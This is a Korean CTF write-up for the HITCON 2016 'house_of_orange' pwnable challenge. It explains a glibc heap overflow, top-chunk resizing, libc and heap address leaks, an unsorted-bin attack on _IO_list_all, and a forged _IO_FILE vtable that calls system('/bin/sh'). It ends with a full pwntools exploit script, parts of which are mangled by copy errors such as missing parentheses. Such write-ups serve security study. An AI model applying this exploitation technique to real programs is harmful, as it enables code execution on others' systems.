Pwnable/CTF

HITCON 2016 house_of_orange

HSr00t 2017. 12. 11. 22:00

 일단 기본적으로 힙 오버플로우 취약점이있다.
 그것을 이용하여서 house of orange기법을 써서 푸는문제인데 기법만 이해했으면 쉬운문제인것같다.

 사이즈를 0X20FA1 이라면 0xfa1로 만들어주면 탑 청크 사이즈를 조작했을때 오류가 나지 않는다.

 탑 청크사이즈가 제대로 정렬되어있는지 확인을하는곳 때문에 이상하게 조작하면 오류가 난다.


 그리고 top_chunk보다 큰 사이즈를 할당하면 sysmalloc를 하는데 이때 malloc하는 값이 mmap 크기만큼 크지 않으니 할당할려던 청크를 free를 시키고 탑 청크를 새로 배치한다.

house of orange를 할때 라이브러리는 물론 힙 주소도 필요하다.

힙 주소는 large chunk에는 힙 주소를 가르키고있는 fd_nextsize와 bk_nextsize가 생기기때문에 이것을 이용하여서 힙 주소를 릭을 할수있다.


 #define fflush(s) _IO_flush_all_lockp 

malloc_printerr를 쭈욱 타고 들어가다보면 ffulsh를 따로 정의해놓은것이있다.


이것을 이용하여서 _io_list_all를 변조하는게 주 목적이다.


_io_list_all은 malloc에서 heap 검사중에 오류가 낫을때 사용되는 함수다.


https://code.woboq.org/userspace/glibc/libio/genops.c.html#_IO_flush_all_lockp


이 함수를 보면 fp파일 포인터에 _io_list_all을 집어넣고 링크 드리스트 형식으로 돌아가는 코드가 보일것이다.

저 사이트에서 _io_list_all를 쭈욱 타고 들어가다보면 _io_list_all에 stderr를 넣는걸 볼 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
758      for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
759        {
760          run_fp = fp;
761          if (do_lock)
762            _IO_flockfile (fp);
763    
764          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
765               || (_IO_vtable_offset (fp) == 0
766                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
767                                        > fp->_wide_data->_IO_write_base))
768               )
769              && _IO_OVERFLOW (fp, EOF) == EOF)
cs



이 부분이 가장 중요한 부분이다.

mode > 0 ptr, base >, < 등 구문들이 true라면 _IO_OVERFLOW가 실행될텐데

_IO_OVERFLOW는 _IO_FILE_JUMP를 이용하여서 JUMP가 되는 함수 중 하나다.

그렇기 때문에 _IO_JUMP를 조작해주고 OVERFLOW를 실행하기위한 조건들만 만족시켜준다면 쉘을 딸수있을것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
215    struct _IO_wide_data
216    {
217      wchar_t *_IO_read_ptr;        /* Current read pointer */
218      wchar_t *_IO_read_end;        /* End of get area. */
219      wchar_t *_IO_read_base;        /* Start of putback+get area. */
220      wchar_t *_IO_write_base;        /* Start of put area. */
221      wchar_t *_IO_write_ptr;        /* Current put pointer. */
222      wchar_t *_IO_write_end;        /* End of put area. */
223      wchar_t *_IO_buf_base;        /* Start of reserve area. */
224      wchar_t *_IO_buf_end;                /* End of reserve area. */
225      /* The following fields are used to support backing up and undo. */
226      wchar_t *_IO_save_base;        /* Pointer to start of non-current get area. */
227      wchar_t *_IO_backup_base;        /* Pointer to first valid character of
228                                       backup area */
229      wchar_t *_IO_save_end;        /* Pointer to end of non-current get area. */
230    
231      __mbstate_t _IO_state;
232      __mbstate_t _IO_last_state;
233      struct _IO_codecvt _codecvt;
234    
235      wchar_t _shortbuf[1];
236    
237      const struct _IO_jump_t *_wide_vtable;
238    };
239    #endif
240    
241    struct _IO_FILE {
242      int _flags;                /* High-order word is _IO_MAGIC; rest is flags. */
243    #define _IO_file_flags _flags
244    
245      /* The following pointers correspond to the C++ streambuf protocol. */
246      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
247      char* _IO_read_ptr;        /* Current read pointer */
248      char* _IO_read_end;        /* End of get area. */
249      char* _IO_read_base;        /* Start of putback+get area. */
250      char* _IO_write_base;        /* Start of put area. */
251      char* _IO_write_ptr;        /* Current put pointer. */
252      char* _IO_write_end;        /* End of put area. */
253      char* _IO_buf_base;        /* Start of reserve area. */
254      char* _IO_buf_end;        /* End of reserve area. */
255      /* The following fields are used to support backing up and undo. */
256      char *_IO_save_base; /* Pointer to start of non-current get area. */
257      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
258      char *_IO_save_end; /* Pointer to end of non-current get area. */
259    
260      struct _IO_marker *_markers;
261    
262      struct _IO_FILE *_chain;
263    
264      int _fileno;
265    #if 0
266      int _blksize;
267    #else
268      int _flags2;
269    #endif
270      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
271    
272    #define __HAVE_COLUMN /* temporary */
273      /* 1+column number of pbase(); 0 is unknown. */
274      unsigned short _cur_column;
275      signed char _vtable_offset;
276      char _shortbuf[1];
277    
278      /*  char* _save_gptr;  char* _save_egptr; */
279    
280      _IO_lock_t *_lock;
281    #ifdef _IO_USE_OLD_IO_FILE
282    };
283    
284    struct _IO_FILE_complete
285    {
286      struct _IO_FILE _file;
287    #endif
288    #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
289      _IO_off64_t _offset;
290    # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
291      /* Wide character stream stuff.  */
292      struct _IO_codecvt *_codecvt;
293      struct _IO_wide_data *_wide_data;
294      struct _IO_FILE *_freeres_list;
295      void *_freeres_buf;
296    # else
297      void *__pad1;
298      void *__pad2;
299      void *__pad3;
300      void *__pad4;
301    # endif
302      size_t __pad5;
303      int _mode;
304      /* Make sure we don't get into trouble again.  */
305      char _unused2[15 * sizeof (int- 4 * sizeof (void *- sizeof (size_t)];
306    #endif
307    };
cs


우리가 주로봐야될 구조체들이다.







_IO_LIST_ALL주소에 _IO_2_1_stderr를 넣었기때문에 쭈욱들어가면 stderr함수를 만나게된다.

맨 처음 값이 매직값이고 다른것은 위쪽 구조체를 참고하면되는데  0x***2620부분이 stdout이다.

그렇게되면 저 주소 부분이 fd역할을 하는 _chain이라는것을 알 수 있다. 구조체 분석해도 알수있음

0x***160 부분이 wide_data부분이다. 저 주소 부분을 힙 주소로 변경하여서 ptr이 base보다 크게끔 주소에 값을 설정해주면된다.


_chain부분을 수정해서 풀수있는데 대충 플래그기준,64bit기준으로 _chain + 140정도에 _chain이 있다.

그럼 그쪽부분에는 smallbin이 저장되어있는곳이여서 smallbin에는 fastbin size도 저장을 할 수 있기때문에 그쪽 주소영역에 해당하는 index를 갖는 fast bin으로 unsorted bin의 주소를 변경해 주면 smallbin 에 값을넣을수있다.




IO_vtable_offset (fp) == 0
766                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
767                                        > fp->_wide_data->_IO_write_base


일단 위 조건문을 만족시켜야된다.


293      struct _IO_wide_data *_wide_data;
294      struct _IO_FILE *_freeres_list;
295      void *_freeres_buf;
296    # else
297      void *__pad1;
298      void *__pad2;
299      void *__pad3;
300      void *__pad4;
301    # endif
302      size_t __pad5;
303      int _mode;


위 부분이 wide 라면 + 24 다음 부분이 mod일것이다.

이렇게되면 wide_data를 주작해주고 그 아래 wide데이터 + 24 부분 mod부분을 수정해주고 _IO_FILE_JUMPS 부분을 조작하여서 io_overflow 부분을 system이나 one_shot 으로 덮어주면될것이다 !


0x00007ffff7dd06e0 = _IO_file_jumps

저 주소안에 + 24를 한 주소가 _io_overflow 부분이다 (나의 우분투 리눅스에서는)

그럼 _IO_FILE_JUMPS가 가르키는 주소에 + 24부분이 _io_overflow라고 생각을하고 실행을할것이다.



구조체값들은 이런식으로 바꿔주면 된다치는데.

unlink도 아니고 fastbin dup같은것도 아닌데 저 주소 부분을 무엇으로 덮나??
unsorted_bin으로 main_arena+88을 덮어줄수있다.(탑 청크 주소 저장) 그리고 그 뒤에 last_remainder,unsorted bin,small bin 이 있다.


우리는 _chain을 수정하여서 문제를 풀 수 있다. 

_io_list_all를 main_arena + 88로 바꿔주면 64bit 기준으로 + 140? 주소 부분에 _chain주소가 될것이다. 

smallbin에는 fastbin size도 저장이되기때문에 size를 저 _chain에 저장되게하는 index를 맞춰서 사이즈를 할당하여 주면 _chain을 내가 조작한 사이즈의 청크의 주소가 들어갈것이다.


그렇게하여서 그 힙 주소에 위 설명에 맞게 조작하여주면 문제를 풀 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
 
p=process("./houseoforange")
elf=ELF("./houseoforange")
 
def build(size,name,price,color):
    p.recvuntil(': ')
    p.sendline("1")
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(name)
    p.recvuntil(':')
    p.sendline(str(price))
    p.recvuntil(':')
    p.sendline(str(color))
    print p.recvuntil('Finish')
 
def see():
    p.recvuntil(': ')
    p.sendline("2")
def upgrade(size,name,price,color):
    p.recvuntil(': ')
    p.sendline("3")
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(name)
    p.recvuntil(':')
    p.sendline(str(price))
    p.recvuntil(':')
    p.sendline(str(color))
 
build(24,"A"*23,1000,1#1
upgrade(70,"A"*24+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0xfa1),1,1#1
build(4000,"A"*7,1,1#2
build(1024,"B"*7,1,1#3
see()
p.recvuntil("B"*7+"\n")
main_arena = u64(p.recv(6)+"\x00\x00"- 88 - 1552
libc_base = main_arena - 0x3c4b20
_IO_list_all = libc_base + 0x3c5520
_IO_stdfile_2_lock = libc_base + 0x3c6770
_IO_wide_data_2 = libc_base + 0x3c4660
system = libc_base + 0x45390
print hex(main_arena)
print hex(_IO_list_all)
print hex(_IO_stdfile_2_lock)
print hex(_IO_wide_data_2)
print hex(system)
upgrade(16,"B"*15,1,1)
see()
p.recvuntil("B"*15+"\n")
heap = u64(p.recv(6)+"\x00\x00"- 0xc0
print "heap_base: "+hex(heap)
 
fake_jump = heap + 0xd0
print "jump: "+hex(fake_jump)
 
fake_vtable = p64(0)*9
fake_vtable += p64(0#io_file_fd
fake_vtable += p64(2)
fake_vtable += "\xff"*8
fake_vtable += p64(0)
fake_vtable += p64(_IO_stdfile_2_lock)
fake_vtable += "\xff"*8
fake_vtable += p64(0)
fake_vtable += p64(fake_jump+32#wide_data
fake_vtable += p64(0#freeres_list
fake_vtable += p64(0#freeres_buf      #5
fake_vtable += p64(0#pad5
fake_vtable += p64(3#mode
fake_vtable += p64(0)*2 #no
fake_vtable += p64(fake_jump)
 
payload = p64(0+ p64(0+ p64(0+ p64(system) 
payload += p64(0)*3                         #wide_data
payload += p64(1#write_base
payload += p64(2#write_ptr
payload += "\x00"*(1024-len(payload))
payload += p64(0)
payload += p32(0xdada+ p32(0x20)
payload += p64(0)
payload += p64(0)
payload += "/bin/sh\00" #prev_size, io_file flag
payload += p64(0x61#size
payload += p64(1#fd
payload += p64(_IO_list_all - 0x10#bk -> unsorted bin attack -> io_list_all ptr -> main_arena
payload += fake_vtable
 
 
upgrade(len(payload)+1,payload,1,1)
 
 
 
p.interactive()
 
cs